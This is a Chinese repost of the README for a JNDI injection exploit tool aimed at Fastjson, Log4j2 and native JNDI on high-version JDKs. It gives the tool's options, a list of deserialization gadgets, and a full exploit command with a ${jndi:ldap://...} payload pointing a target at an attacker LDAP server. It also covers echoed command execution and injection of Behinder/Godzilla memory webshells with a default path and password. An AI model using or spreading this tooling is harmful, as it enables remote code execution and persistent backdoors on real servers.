前言
本工具用于解决 Fastjson、log4j2、原生JNDI注入等场景中针对高版本JDK无法加载远程恶意类,通过LDAP服务器返回原生Java反序列化数据,受害者(客户端)在具备反序列化Gadget依赖的情况下可达到命令执行、代码执行、回显命令执行、无文件落地内存马注册等。
ChangeLog
0.3 Version
- 新增Tomcat一句话内存马
- 新增Resin一句话内存马
- 新增漏洞环境
v0.2 Version
- 修复已知bug
- 支持从文件中读取HTTP请求
v0.1 Version
- Gadget探测
- 回显命令执行
- 内存马注入
Support
- 本地gadget探测
- 回显命令执行
- Tomcat中间件注入冰蝎/哥斯拉流量加密Webshell内存马
- Tomcat/Resin 一句话内存马
测试
漏洞环境请转至 v0.3 Version Releases处下载,运行 springWithLog4j-1.0-SNAPSHOT.jar
会在8190端口运行服务,访问首页的超链接后的id参数中存在 Log4j2
漏洞。
使用方法
java -jar JNDI-Inject-Exploit-[version]-all.jar
无指定任何参数的情况下将显示帮助信息.
Usage:
java -jar JNDI-Inject-Exploit-0.1-all.jar [options]
Options:
ip LDAP Server IP(如VPS则指定公网IP)
port LDAP Server 监听端口,默认为1389
url 目标URL,指定headers和body参数可发送完整HTTP请求
file 指定HTTP请求数据包的文件,将根据该文件内容构造完整HTTP请求
method 指定HTTP请求方法,默认为GET
headers 指定HTTP请求头,以分号分隔多个请求头,以=分隔key,value
body 指定HTTP请求体内容
proxy 指定HTTP请求使用的代理(eg: 127.0.0.1:8080, 只支持Http/S)
支持探测以下Gadget
- BeanShell1
- CommonsBeanutils1
- CommonsBeanutils2
- CommonsCollections1
- CommonsCollections2
- CommonsCollections3
- CommonsCollections4
- CommonsCollections5
- CommonsCollections6
- CommonsCollections7
- CommonsCollections8
- CommonsCollections9
- CommonsCollections10
- CommonsCollectionsK1
- CommonsCollectionsK2
- CommonsCollectionsK3
- CommonsCollectionsK4
- Groovy1
- Weblogic2555
- Jdk7u21
- ROME
- Spring1
- Spring2
Config
使用该工具必须在运行目录下新建
config.properties
文件,配置DNSLOG平台信息,以下是示例配置文件。JNDI注入的漏洞场景为必须出网环境,因此使用Dnslog平台探测Gadget,sleep属性指定发送Gadget Payload后等待Dnslog平台的响应时间(具体数值根据网络环境及Dnslog平台自定义)。
# Dnslog平台名称(非必须) Platform=ceye # Dnslog平台查询API Api=http://api.ceye.io/v1/records?token={token}&type=dns&filter={filter} # Dnslog平台鉴权Token Token=xxxx # Dnslog平台顶级域名 Domain=xxxx.ceye.io # 等待Dnslog平台响应时间(非必须,默认为5秒) Sleep=10 # 开启LDAP请求日志打印 EnableLDAPLog=False # 开启Http请求日志打印 EnableHttpLog=False
Example
文件内容(如果是https的话需要在Host头中添加https://)
从文件中读取HTTP请求进行漏洞利用
LDAP查询的对象名称可为任意字符(示例为EvilObject),LDAPServer拦截客户端搜索结果获取查询名称,并根据该名称返回结果,因此查询任何名称均可运行。
java -jar JNDI-Inject-Exploit-0.1-all.jar ip="192.168.0.104" url="http://192.168.0.118:8190/log?id=$%7bjndi:ldap://192.168.0.104:1389/EvilObject%7d"
Gadget探测
可利用Gadget信息,如名称中带有 [TomcatEcho]
等字样则表示该Gadget可利用且能够回显命令执行,如名称中带有 TomcatBehinderFilter
、TomcatGodzillaFilter
字样则表示支持在Tomcat中间件中注入冰蝎内存马或哥斯拉内存马(支持该功能不代表一定能够注入成功)
回显命令执行
切换为普通命令执行gadget并执行 calc
命令
(目标受害机成功执行命令)
MemoryShell
内存马注入 (默认内存马路径为/favicondemo.ico, 密码为pass1024), 回显Memory shell inject success表示注入成功. (NeoreGeorg不支持自定义密码, 默认密码为pass1024, 路径可自定义)
下载
https://github.com/exp1orer/JNDI-Inject-Exploit
原文始发于微信公众号(渗透安全团队):工具 | FastJson、Jackson、Log4j2、原生JNDI注入漏洞的高版本JDKBypass利用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论